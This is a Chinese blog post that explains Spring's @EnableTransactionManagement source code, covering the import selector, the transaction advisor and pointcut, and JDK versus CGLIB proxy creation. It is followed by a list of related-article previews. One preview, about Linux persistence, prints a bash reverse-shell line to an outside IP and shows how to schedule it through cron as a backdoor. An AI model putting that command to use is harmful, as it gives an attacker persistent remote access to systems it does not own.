Spring事务(2)-EnableTransactionManagement实现源码解析

news2024/10/5 13:26:58

@Transactional注解

@Transactional是spring中声明式事务管理的注解配置方式。@Transactional注解可以帮助我们标注事务开启、提交、者回滚、事务传播、事务隔离、超时时间等操作。

@EnableTransactionManagement是开启Spring 事务的入口。

@EnableTransactionManagement 标注启动事务管理

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
// TODO 重点:事务注册入口类
@Import(TransactionManagementConfigurationSelector.class)
public @interface EnableTransactionManagement {

	/**false:使用JDK代理;true:使用CGLIB代理*/
	boolean proxyTargetClass() default false;
	
	/**事务通知的方式*/
	AdviceMode mode() default AdviceMode.PROXY;

}

@EnableTransactionManagement注解引入了TransactionManagementConfigurationSelector根据AdviceMode 类型使用对应的事务管理配置。

public class TransactionManagementConfigurationSelector extends AdviceModeImportSelector<EnableTransactionManagement> {

	@Override
	protected String[] selectImports(AdviceMode adviceMode) {
		switch (adviceMode) {
			case PROXY:
				// 这里导入了两个类,重点看 ProxyTransactionManagementConfiguration,这里注入了事务切面。
				return new String[] {AutoProxyRegistrar.class.getName(),
						ProxyTransactionManagementConfiguration.class.getName()};
			case ASPECTJ:
				return new String[] {determineTransactionAspectClass()};
			default:
				return null;
		}
	}

	private String determineTransactionAspectClass() {
		return (ClassUtils.isPresent("javax.transaction.Transactional", getClass().getClassLoader()) ?
				TransactionManagementConfigUtils.JTA_TRANSACTION_ASPECT_CONFIGURATION_CLASS_NAME :
				TransactionManagementConfigUtils.TRANSACTION_ASPECT_CONFIGURATION_CLASS_NAME);
	}

}

ProxyTransactionManagementConfiguration都做了那些事情呢?

  1. 实例化BeanFactoryTransactionAttributeSourceAdvisor 类,在AbstractAutoProxyCreator#postProcessAfterInitialization中使用此类判断当前beanClass是否作为事务类进行增强;
  2. 实例化TransactionInterceptor 类,事务开启、挂起、提交等操作;
  3. 实例化AnnotationTransactionAttributeSource类,用于解析@Transactional注解,实际由SpringTransactionAnnotationParser解析,解析生成RuleBasedTransactionAttribute
@Configuration
public class ProxyTransactionManagementConfiguration extends AbstractTransactionManagementConfiguration {

	/**
	 * 实例化事务切面
	 * @return
	 */
	@Bean(name = TransactionManagementConfigUtils.TRANSACTION_ADVISOR_BEAN_NAME)
	@Role(BeanDefinition.ROLE_INFRASTRUCTURE)
	public BeanFactoryTransactionAttributeSourceAdvisor transactionAdvisor() {
		// 事务切面类
		BeanFactoryTransactionAttributeSourceAdvisor advisor = new BeanFactoryTransactionAttributeSourceAdvisor();
		advisor.setTransactionAttributeSource(transactionAttributeSource());
		advisor.setAdvice(transactionInterceptor());
		if (this.enableTx != null) {
			advisor.setOrder(this.enableTx.<Integer>getNumber("order"));
		}
		return advisor;
	}

	@Bean
	@Role(BeanDefinition.ROLE_INFRASTRUCTURE)
	public TransactionAttributeSource transactionAttributeSource() {
		// TODO 事务属性解析类
		return new AnnotationTransactionAttributeSource();
	}

	@Bean
	@Role(BeanDefinition.ROLE_INFRASTRUCTURE)
	public TransactionInterceptor transactionInterceptor() {
		// 事务拦截器
		TransactionInterceptor interceptor = new TransactionInterceptor();
		interceptor.setTransactionAttributeSource(transactionAttributeSource());
		if (this.txManager != null) {
			interceptor.setTransactionManager(this.txManager);
		}
		return interceptor;
	}

}

使用BeanPostProcessor处理@Transactional注释

@Transactional,作用是定义代理植入点。代理对象创建的通过BeanPostProcessor的实现类AnnotationAwareAspectJAutoProxyCreatorpostProcessAfterInstantiation方法来实现。

	/**AbstractAutoProxyCreator#postProcessAfterInitialization 方法,生成bean代理*/
	@Override
	public Object postProcessAfterInitialization(@Nullable Object bean, String beanName) {
		if (bean != null) {
			// 如果是FactoryBean,cacheKey是 &+beanName拼接而成,如果benaName为空,则是beanClass。
			Object cacheKey = getCacheKey(bean.getClass(), beanName);
			if (!this.earlyProxyReferences.contains(cacheKey)) {
				// TODO 必要时包装给定的bean,即是否有资格被代理。
				return wrapIfNecessary(bean, beanName, cacheKey);
			}
		}
		return bean;
	}

	/**如果需要才会代理,否则直接返回bean*/
	protected Object wrapIfNecessary(Object bean, String beanName, Object cacheKey) {
		if (StringUtils.hasLength(beanName) && this.targetSourcedBeans.contains(beanName)) {
			return bean;
		}
		if (Boolean.FALSE.equals(this.advisedBeans.get(cacheKey))) {
			return bean;
		}
		if (isInfrastructureClass(bean.getClass()) || shouldSkip(bean.getClass(), beanName)) {
			this.advisedBeans.put(cacheKey, Boolean.FALSE);
			return bean;
		}

		// TODO 重点:如果有需要增强,就创建代理对象,这里会循环此类中所有的方法,如果有增强匹配到类中的方法,就会将增强对象封装到list中。
		// Create proxy if we have advice.
		Object[] specificInterceptors = getAdvicesAndAdvisorsForBean(bean.getClass(), beanName, null);
		if (specificInterceptors != DO_NOT_PROXY) {
			this.advisedBeans.put(cacheKey, Boolean.TRUE);
			// TODO 重点:创建代理对象
			Object proxy = createProxy(
					bean.getClass(), beanName, specificInterceptors, new SingletonTargetSource(bean));
			this.proxyTypes.put(cacheKey, proxy.getClass());
			return proxy;
		}

		this.advisedBeans.put(cacheKey, Boolean.FALSE);
		return bean;
	}

	/**根据bean找对应的切面Advisor*/
	protected Object[] getAdvicesAndAdvisorsForBean(
			Class<?> beanClass, String beanName, @Nullable TargetSource targetSource) {
		// 这里封装了匹配的增强方法的Advisor对象,包括PointCut expression、aspectName等信息。
		List<Advisor> advisors = findEligibleAdvisors(beanClass, beanName);
		if (advisors.isEmpty()) {
			return DO_NOT_PROXY;
		}
		return advisors.toArray();
	}
	
	/**查找有资格处理beanClass的切面Advisor*/
	protected List<Advisor> findEligibleAdvisors(Class<?> beanClass, String beanName) {
		//查找到所有的增强方法,封装成Advisor对象。这里查找了两种增强,一种是实现了Advisor的实例,一种是带有@Aspect注解的bean实例中定义的增强方法。
		List<Advisor> candidateAdvisors = findCandidateAdvisors();
		// 根据每个增强中的切点表达式,进行匹配,筛选出合适的增强实例列表。
		// 事务处理:
		// @Transactional 注解将匹配到 BeanFactoryTransactionAttributeSourceAdvisor,
		// BeanFactoryTransactionAttributeSourceAdvisor 类包含 TransactionAttributeSourcePointcut用于匹配@Transactional 注解
		List<Advisor> eligibleAdvisors = findAdvisorsThatCanApply(candidateAdvisors, beanClass, beanName);
		extendAdvisors(eligibleAdvisors);
		// 对增强方法进行排序,可以不看。
		if (!eligibleAdvisors.isEmpty()) {
			eligibleAdvisors = sortAdvisors(eligibleAdvisors);
		}
		return eligibleAdvisors;
	}

Advisor切面判断是否增强beanClass

相关类概述

在展开前,先了解几个类功能:

  1. Pointcut:“切点”,它是用来匹配连接点 Join point 的,可以说"Pointcut"表示的是"Join point"的集合。
  2. Advice:“通知”,表示 Aspect 在特定的 Join point 采取的操作。包括 “around”, “before” and “after 等
  3. Advisor:“通知者”,它持有 Advice,是 Spring AOP 的一个基础接口。Advisor 可以获取到 Advice。PointcutAdvisorAdvisor子接口可以获取到 PointcutAdvice

Pointcut概述

事务使用Pointcut使用TransactionAttributeSourcePointcut

/**BeanFactoryTransactionAttributeSourceAdvisor#pointcut*/
private final TransactionAttributeSourcePointcut pointcut = new TransactionAttributeSourcePointcut() {
		@Override
		@Nullable
		protected TransactionAttributeSource getTransactionAttributeSource() {
			return transactionAttributeSource;
		}
	};

/**TransactionAttributeSourcePointcut 类,
用于判断类或者方法是否存在@Transactional注解,
并且生成TransactionAttribute*/
abstract class TransactionAttributeSourcePointcut extends StaticMethodMatcherPointcut implements Serializable {

	@Override
	public boolean matches(Method method, Class<?> targetClass) {
		if (TransactionalProxy.class.isAssignableFrom(targetClass) ||
				PlatformTransactionManager.class.isAssignableFrom(targetClass) ||
				PersistenceExceptionTranslator.class.isAssignableFrom(targetClass)) {
			return false;
		}
		// 匹配方法,判断方法是否有@Transaction注解
		TransactionAttributeSource tas = getTransactionAttributeSource();
		return (tas == null || tas.getTransactionAttribute(method, targetClass) != null);
	}
}

Advice 概述

Advice大体上分为了三类:BeforeAdviceMethodInterceptorAfterAdvice
MethodInterceptor 是功能最强大的,它能够处理 BeforeAdviceAroundAdviceAfterAdviceThrowsAdvice@Valid方法参数校验、@Async异步等
在这里插入图片描述

Advisor概述

事务使用BeanFactoryTransactionAttributeSourceAdvisor类,类图如下:在这里插入图片描述
BeanFactoryTransactionAttributeSourceAdvisor实现了PointcutAdvisor,使用Pointcut匹配方法、类上是否存在@Transactional

beanClass是否需要增强?

如何判断一个Advisor是否支持目标类,如果支持那么解析@Transactional生成RuleBasedTransactionAttribute并且缓存。

RuleBasedTransactionAttribute:
作为TransactionAttribute实现,用于保存@Transactional注解配置的数据。

	/**AopUtils方法,返回参数提供的Advisor中能支持clazz的Advisor*/
	public static List<Advisor> findAdvisorsThatCanApply(List<Advisor> candidateAdvisors, Class<?> clazz) {
		if (candidateAdvisors.isEmpty()) {
			return candidateAdvisors;
		}
		List<Advisor> eligibleAdvisors = new ArrayList<>();
		// 先处理IntroductionAdvisor类型的增强
		for (Advisor candidate : candidateAdvisors) {
			if (candidate instanceof IntroductionAdvisor && canApply(candidate, clazz)) {
				eligibleAdvisors.add(candidate);
			}
		}
		boolean hasIntroductions = !eligibleAdvisors.isEmpty();
		// 再处理其他类型的增强
		for (Advisor candidate : candidateAdvisors) {
			if (candidate instanceof IntroductionAdvisor) {
				// already processed
				continue;
			}
			// 我们自定义的切面,就会走到这里,使用已经封装的PointcutAdvisor,根据切点表达式进行匹配,具体的匹配过程,不用看。
			if (canApply(candidate, clazz, hasIntroductions)) {
				eligibleAdvisors.add(candidate);
			}
		}
		return eligibleAdvisors;
	}

	/**判断Advisor是否支持targetClass*/
	public static boolean canApply(Advisor advisor, Class<?> targetClass, boolean hasIntroductions) {
		if (advisor instanceof IntroductionAdvisor) {
			return ((IntroductionAdvisor) advisor).getClassFilter().matches(targetClass);
		}
		else if (advisor instanceof PointcutAdvisor) {
			PointcutAdvisor pca = (PointcutAdvisor) advisor;
			//切点表达式匹配。
			return canApply(pca.getPointcut(), targetClass, hasIntroductions);
		}
		else {
			// It doesn't have a pointcut so we assume it applies.
			return true;
		}
	}

	/**
		1.获取targetClass、targetClass父类和接口的方法
		2.使用Pointcut#getMethodMatcher提供的MethodMatcher匹配第1步中的方法
	*/
	public static boolean canApply(Pointcut pc, Class<?> targetClass, boolean hasIntroductions) {
		Assert.notNull(pc, "Pointcut must not be null");
		if (!pc.getClassFilter().matches(targetClass)) {
			return false;
		}

		MethodMatcher methodMatcher = pc.getMethodMatcher();
		if (methodMatcher == MethodMatcher.TRUE) {
			// No need to iterate the methods if we're matching any method anyway...
			return true;
		}

		IntroductionAwareMethodMatcher introductionAwareMethodMatcher = null;
		if (methodMatcher instanceof IntroductionAwareMethodMatcher) {
			introductionAwareMethodMatcher = (IntroductionAwareMethodMatcher) methodMatcher;
		}

		Set<Class<?>> classes = new LinkedHashSet<>();
		if (!Proxy.isProxyClass(targetClass)) {
			classes.add(ClassUtils.getUserClass(targetClass));
		}
		classes.addAll(ClassUtils.getAllInterfacesForClassAsSet(targetClass));
		// 这里做了切入点表达式的匹配,匹配通过的返回true,具体的匹配过程不用看,不是重点。
		for (Class<?> clazz : classes) {
			Method[] methods = ReflectionUtils.getAllDeclaredMethods(clazz);
			for (Method method : methods) {
				//事务中 introductionAwareMethodMatcher  实际上为 TransactionAttributeSourcePointcut
				if (introductionAwareMethodMatcher != null ?
						introductionAwareMethodMatcher.matches(method, targetClass, hasIntroductions) :
						methodMatcher.matches(method, targetClass)) {
					return true;
				}
			}
		}

		return false;
	}
	/**TransactionAttributeSourcePointcut#matches 检查方法是否有@Transaction注解,
	如果有注解,生成TransactionAttribute实际生成RuleBasedTransactionAttribute*/
	@Override
	public boolean matches(Method method, Class<?> targetClass) {
		if (TransactionalProxy.class.isAssignableFrom(targetClass) ||
				PlatformTransactionManager.class.isAssignableFrom(targetClass) ||
				PersistenceExceptionTranslator.class.isAssignableFrom(targetClass)) {
			return false;
		}
		// 匹配方法,判断方法是否有@Transactional注解
		// tas 为 AnnotationTransactionAttributeSource
		TransactionAttributeSource tas = getTransactionAttributeSource();
		return (tas == null || tas.getTransactionAttribute(method, targetClass) != null);
	}
	
	/**
		解析@Transactional顺序:
		当前method是否存在@Transactional
		-》当前method所在类是否存在@Transactional
		-》当前method的父类method是否存在@Transactional
		-》当前method的父类是否存在@Transactional
		解析到其中一个即可
	*/
	public TransactionAttribute getTransactionAttribute(Method method, @Nullable Class<?> targetClass) {
		// 获取事务注解属性
		if (method.getDeclaringClass() == Object.class) {
			return null;
		}

		// 先从缓存中拿。如果一个方法的事务注解信息被获取过,就会将其缓存到一个并发安全的map中。后面再获取就从这个缓存中获取。
		// First, see if we have a cached value.
		Object cacheKey = getCacheKey(method, targetClass);
		TransactionAttribute cached = this.attributeCache.get(cacheKey);
		if (cached != null) {
			// Value will either be canonical value indicating there is no transaction attribute,
			// or an actual transaction attribute.
			if (cached == NULL_TRANSACTION_ATTRIBUTE) {
				return null;
			}
			else {
				return cached;
			}
		}
		else {
			// TODO 获取事务注解属性,放入缓存。
			// We need to work it out.
			TransactionAttribute txAttr = computeTransactionAttribute(method, targetClass);
			// Put it in the cache.
			if (txAttr == null) {// 放入缓存
				this.attributeCache.put(cacheKey, NULL_TRANSACTION_ATTRIBUTE);
			}
			else {
				//获取给定方法的全限定名,基本仅用于输出日志
				String methodIdentification = ClassUtils.getQualifiedMethodName(method, targetClass);
				//如果事务属性属于DefaultTransactionAttribute
				if (txAttr instanceof DefaultTransactionAttribute) {
					((DefaultTransactionAttribute) txAttr).setDescriptor(methodIdentification);
				}
				if (logger.isTraceEnabled()) {
					logger.trace("Adding transactional method '" + methodIdentification + "' with attribute: " + txAttr);
				}
				//将结果存入缓存,再次遇到时不再解析
				this.attributeCache.put(cacheKey, txAttr);
			}
			return txAttr;
		}
	}

生成代理对象

生成代理对象入口:AbstractAutoProxyCreator#createProxy

	/**AbstractAutoProxyCreator#createProxy方法,创建代理对象*/
	protected Object createProxy(Class<?> beanClass, @Nullable String beanName,
			@Nullable Object[] specificInterceptors, TargetSource targetSource) {

		if (this.beanFactory instanceof ConfigurableListableBeanFactory) {
			AutoProxyUtils.exposeTargetClass((ConfigurableListableBeanFactory) this.beanFactory, beanName, beanClass);
		}
		// 注意这个ProxyFactory,里面封装了 Advisors
		ProxyFactory proxyFactory = new ProxyFactory();
		proxyFactory.copyFrom(this);

		if (!proxyFactory.isProxyTargetClass()) {
			if (shouldProxyTargetClass(beanClass, beanName)) {
				proxyFactory.setProxyTargetClass(true);
			}
			else {
				evaluateProxyInterfaces(beanClass, proxyFactory);
			}
		}
		// TODO 重点:构建增强对象,这里会在原有的Advisor列表中,增加存在的MethodInterceptor
		Advisor[] advisors = buildAdvisors(beanName, specificInterceptors);
		proxyFactory.addAdvisors(advisors);
		proxyFactory.setTargetSource(targetSource);
		customizeProxyFactory(proxyFactory);

		proxyFactory.setFrozen(this.freezeProxy);
		if (advisorsPreFiltered()) {
			proxyFactory.setPreFiltered(true);
		}

		// TODO 重点:生成代理对象
		return proxyFactory.getProxy(getProxyClassLoader());
	}

	/**ProxyFactory#getProxy(java.lang.ClassLoader)*/
	public Object getProxy(@Nullable ClassLoader classLoader) {
		//根据目标对象是否有接口来判断采用什么代理方式,cglib代理还是jdk动态代理
		return createAopProxy().getProxy(classLoader);
	}
	
	/**ProxyCreatorSupport#createAopProxy*/
	protected final synchronized AopProxy createAopProxy() {
		if (!this.active) {
			activate();
		}
		return getAopProxyFactory().createAopProxy(this);
	}

	/**
	DefaultAopProxyFactory#createAopProxy
	生成cglib或者jdk代理
	*/
	@Override
	public AopProxy createAopProxy(AdvisedSupport config) throws AopConfigException {
		if (config.isOptimize() || config.isProxyTargetClass() || hasNoUserSuppliedProxyInterfaces(config)) {
			Class<?> targetClass = config.getTargetClass();
			if (targetClass == null) {
				throw new AopConfigException("TargetSource cannot determine target class: " +
						"Either an interface or a target is required for proxy creation.");
			}
			// 如果目标类是一个接口,则使用JDK动态代理
			if (targetClass.isInterface() || Proxy.isProxyClass(targetClass)) {
				return new JdkDynamicAopProxy(config);
			}
			// 使用cglib代理。
			return new ObjenesisCglibAopProxy(config);
		}
		else {
			return new JdkDynamicAopProxy(config);
		}
	}

如果目标类实现了接口那么Spring使用JDK代理,否则是否cglib代理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421436.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《SpringBoot篇》26.SpringBoot整合Jackson超详细教程(附Jackson工具类)

陈老老老板&#x1f9b8;&#x1f468;‍&#x1f4bb;本文专栏&#xff1a;SpringBoot篇&#xff08;主要讲一些与springboot整合相关的内容&#xff09;&#x1f468;‍&#x1f4bb;本文简述&#xff1a;本文讲一下Jackson常见用法&#xff0c;超级详细。&#x1f468;‍&am…

100天精通Python丨办公效率篇 —— 11、Python自动化操作 Email(发送邮件、收邮件、邮箱客户端)

文章目录一、通过SMTP发送电子邮件1.1 定义邮件正文1.2 发送邮件二、收取电子邮件2.1 配置账户信息2.2 连接邮箱服务器2.3 搜索返回消息ID2.4 读取邮件三、使用邮件客户端发送邮件大家好&#xff0c;我是你们的好朋友西红柿&#xff01;今天咱们聊一聊关于Python怎么操作邮件的…

IP协议以及相关技术

这里写目录标题前言正文IP基本认识IP的作用IP和MAC的关系IP地址的基础知识IP地址定义IP地址分类(IPv4)无分类IP地址CIDR子网掩码IPv6基础知识相关技术DNS域名解析ARPDHCPNATICMPIGMP总结参考连接前言 大家好&#xff0c;我是练习两年半的Java练习生&#xff0c;今天我们来讲一…

TypeScript(八)装饰器

目录 前言 定义 类装饰器 基本用法 操作方式 操作类的原型 类继承操作 方法装饰器 属性装饰器 存取器装饰器 参数装饰器 基本用法 参数过滤器 元数据函数实现 参数过滤 效果实践 装饰器优先级 相同装饰器 不同装饰器 装饰器工厂 hooks与class兼容 结语 …

电子的普线图、能级图,能量吸收和共振

一、圆形电子轨道谱线 光谱产生的原因&#xff1a;原子中的电子在轨道上发生跃迁。如莱曼系为电子从n2,3,4等轨道跃迁到n1的基态轨道产生。 圆形电子轨道&#xff1a;中心的圆点为原子核&#xff0c;中心最接近原子核为n1的电子轨道&#xff0c;轨道大小正比于n的平方。如下图…

NoSQL数据库简介

NoSQL代表“不仅是SQL”&#xff0c;指的是一种数据库管理系统&#xff0c;旨在处理大量非结构化和半结构化数据。与使用具有预定义架构的表格格式的传统SQL数据库不同&#xff0c;NoSQL数据库是无模式的&#xff0c;并且允许灵活和动态的数据结构。 NoSQL数据库是必需的&…

kafka笔记

消息队列 场景模式基础架构发送原理异步发送同步发送分区生产者提高吞吐量&#xff1a;数据可靠性ack应答数据重复幂等性事务数据有序数据乱序broker工作流程follower故障leader故障数据查找文件清除高效读写消费者流程消费者组初始化分区分配策略自动提交offset手动提交指定位…

GaussDB数据库事务介绍

目录 一、前言 二、GaussDB事务的定义及应用场景 三、GaussDB事务的管理 四、GaussDB事务语句 五、GaussDB事务隔离 六、GaussDB事务监控 七、总结 一、前言 随着大数据和互联网技术的不断发展&#xff0c;数据库管理系统的作用越来越重要&#xff0c;实现数据的快速读…

Springboot——文件的上传与下载(reggie)

目录 一、文件上传——upload 1.1 介绍 1.2 前端代码实现 1.3 后端代码实现 二、文件下载——download 2.1 介绍 2.2 前端代码编写 2.3 后端代码编写 三、 前端总代码 四、 应用场景 4.1 数据库表 4.1.1 菜品表 4.1.2 菜品口味表 4.1.3 菜品分类及菜品套餐表 4.2 实体类 4.…

【GitHub Copilot X】基于GPT-4的全新智能编程助手

文章目录一、前言1.1 编程助手的重要性和历史背景1.2 Copilot X 的背景和概览1.3 Copilot X 的核心技术二、自然语言处理技术的发展和现状2.1 GPT-4 技术的基本原理和应用场景2.2 Copilot X 如何利用 GPT-4 进行智能编程2.3 Copilot X 的特点和优点三、比较 Copilot X 和传统编…

Vue组件的通信方式有哪些?

文章目录组件间通信的概念组件间通信解决了什么&#xff1f;组件间通信的分类组件间通信的方案props传递数据$emit 触发自定义事件refEventBus$parent 或 $root$attrs 与 $listenersprovide 与 injectvuex小结组件间通信的概念 开始之前&#xff0c;我们把组件间通信这个词进行…

ChatGPT背后有哪些关键技术?CSIG企业行带你一探究竟

目录1 ChatGPT的时代2 CSIG企业行3 议题&嘉宾介绍3.1 对生成式人工智能的思考3.2 对话式大型语言模型研究3.3 文档图像处理中的底层视觉技术4 观看入口1 ChatGPT的时代 2015年&#xff0c;马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始…

一文总结经典卷积神经网络CNN模型

一般的DNN直接将全部信息拉成一维进行全连接&#xff0c;会丢失图像的位置等信息。 CNN&#xff08;卷积神经网络&#xff09;更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型&#xff0c;包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、Sque…

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络&#xff0c;仅供个人学习&#xff0c;请勿商用&#xff0c;如有侵权请联系删除。部分资料内容&#xff1a; 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能&#xff0c;包括离线采集、准实时采集和实时采集的采集方式&#xff0c;根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes&#xff08;k8s&#xff09;之容器的探测一、探测类型及使用场景1.1、startupProbe&#xff08;启动探测&#xff09;1.2、readinessProbe&#xff08;就绪探测&#xff09;1.3、livenessProbe&#xff08;存活探测&#xff09;二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域&#xff1f;简单理解&#xff0c;就是在不前网页下&#xff0c;试图访问另外一个不同域名下的资源时&#xff0c;受到浏览器同源策略的限制&#xff0c;而无法正常获取数据的情况&#xff1b;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 &#xff08;1&#xff09;全缺省 &#xff08;2&#xff09;半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中&#xff0c;我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

Vue插槽理解

Vue插槽理解插槽插槽 slot又名插槽&#xff0c;vue内容分发机制&#xff0c;组件内部的模板引擎使用slot元素作为承载分发内容的出口 插槽slot是子组件的一个模板标签元素&#xff0c;而这一个元素是否显示&#xff0c;以及怎么显示是由父组件决定的 slot分为三类&#xff1a;默…

【Java】Maven是什么?手把手先创建个Maven项目

&#x1f680;Java程序员必备的项目管理工具——Maven &#x1f4d3;推荐网站(不断完善中)&#xff1a;个人博客 &#x1f4cc;个人主页&#xff1a;个人主页 &#x1f449;相关专栏&#xff1a;CSDN相关专栏 &#x1f3dd;立志赚钱&#xff0c;干活想躺&#xff0c;瞎分享的摸…